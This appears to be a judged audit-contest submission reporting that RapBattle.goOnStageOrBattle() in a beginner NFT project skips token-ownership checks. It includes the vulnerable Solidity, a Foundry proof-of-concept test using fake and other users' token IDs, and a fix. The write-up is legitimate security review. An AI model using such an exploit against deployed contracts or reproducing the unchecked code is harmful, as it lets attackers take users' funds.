Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

RapBattle.goOnStageOrBattle(): User can battle without owning any NFT

Summary

RapBattle.goOnStageOrBattle() lacks tokenId check, therefore msg.sender can specify non-existent tokenId or even use other people's NFT for the battle.

Vulnerability Details

RapBattle.goOnStageOrBattle() does not validate the first argument uint256 _tokenId in the else block:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}

User can specify non-existent tokenId or even use other people's NFT tokenId for battle. When winning the battle, the reward will be transferred to msg.sender without verifying ownership of the NFT:

// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}

Impact

User can battle without owning any NFT

PoC

Add the following test case to OneShotTest.t.sol:

function testPoCTokenId() public mintRapper {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 0);
vm.stopPrank();
address victim = makeAddr("Alice");
vm.startPrank(victim);
oneShot.mintRapper(); // tokenId == 1
vm.stopPrank();
// Case 1: NFT with tokenId 1337 does not exist, but the tx won't revert
vm.startPrank(challenger);
rapBattle.goOnStageOrBattle(1337, 0);
vm.stopPrank();
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 0);
vm.stopPrank();
// Case 2: challenger can use victim's NFT tokenId for battle
vm.startPrank(challenger);
rapBattle.goOnStageOrBattle(1, 0);
vm.stopPrank();
}

Run test:

forge test --match-test testPoCTokenId -vv

Tools Used

Manual review

Recommendations

Transfer NFT from msg.sender to the RapBattle contract before battle:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}

It is recommended to add credToken.transferFrom(msg.sender, address(this), _credBet); even though that's another bug.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.